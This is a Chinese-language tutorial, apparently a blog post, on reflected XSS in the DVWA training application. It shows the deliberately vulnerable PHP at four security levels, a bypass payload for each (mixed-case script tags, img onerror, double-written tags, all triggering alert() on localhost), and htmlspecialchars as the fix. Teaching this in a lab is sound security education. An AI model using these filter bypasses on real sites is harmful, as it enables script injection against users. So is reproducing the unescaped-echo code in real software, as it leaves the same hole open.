前言
反射型XSS, 即 Reflected Cross Site Scripting (XSS), 攻擊者事先制作好攻擊連結, 需要欺騙使用者自己去點選連結才能觸發XSS代碼(伺服器中沒有這樣的 頁面和内容),一般容易出現在搜尋頁面。
下面對四種不同等級的反射型XSS漏洞進行分析:
-
Low
服務端核心代碼:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
可以看到, 服務端隻是判斷是否存在name參數值, 存在就直接執行寫入pre标簽。
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiIwczX0xiRGZkRGZ0Xy9GbvNGL2EzXlpXazxSPwcVW5RmMilnQzgVNKNjW1ZkMMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnL3QjNxIDO0ATMwEjMwAjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
漏洞利用
由于沒有作任何防護, 我們可以直接注入:
http://localhost/DVWA/vulnerabilities/xss_r/index.php?name=<script>alert('You are attacked!')</script>
看到注入的語句被當做script執行了:
-
Medium
服務端核心代碼:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
Medium級别的服務端将script标簽過濾了, 但是他沒有不區分大寫地過濾 (相應的可以用正則式來防禦)。
漏洞利用
這裡有三種方法:
- 方法一: 大小寫繞過
這裡需要明白的一點是
- HTML中對大小寫不敏感
- JS中對大小寫敏感
那麼我們的注入語句就有:
http://localhost/DVWA/vulnerabilities/xss_r/index.php?name=<Script>alert('You are attacked!')</scRipt>
- 方法二: 錯誤事件img标簽繞過
正常操作..:
http://localhost/DVWA/vulnerabilities/xss_r/index.php?name=<img src="" onerror="alert('You are attacked!')">
- 方法三: 雙寫繞過
由于服務端隻用str_place()過濾了一次, 對于多次出現的無法全部比對完, 是以這裡可以用雙寫繞過:
http://localhost/DVWA/vulnerabilities/xss_r/index.php?name=<s<script>cript>alert('You are attacked!')</script>
-
High
服務端核心代碼:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
可以看到, 服務端用了正則式并且不區分大小寫地過濾所有script标簽, 看來服務端對script标簽的注入是"情有獨鐘"啊!
漏洞利用
雖然過濾了script标簽, 但是還是可以進行其他的标簽注入, 比如Medium等級的方法二:
http://localhost/DVWA/vulnerabilities/xss_r/index.php?name=<img src="" onerror="alert('You are attacked!')">
-
Impossible
服務端核心代碼:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
- htmlspecialchars() 函數
把一些預定義的字元轉換為 HTML 實體。
預定義的字元是:
& (和号) 成為 &
" (雙引号) 成為 "
' (單引号) 成為 '
< (小于) 成為 <
> (大于) 成為 >
使用htmlspecialchars函數把預定義的字元&、”、 ’、<、>轉換為HTML實體,防止浏覽器将其作為HTML元素。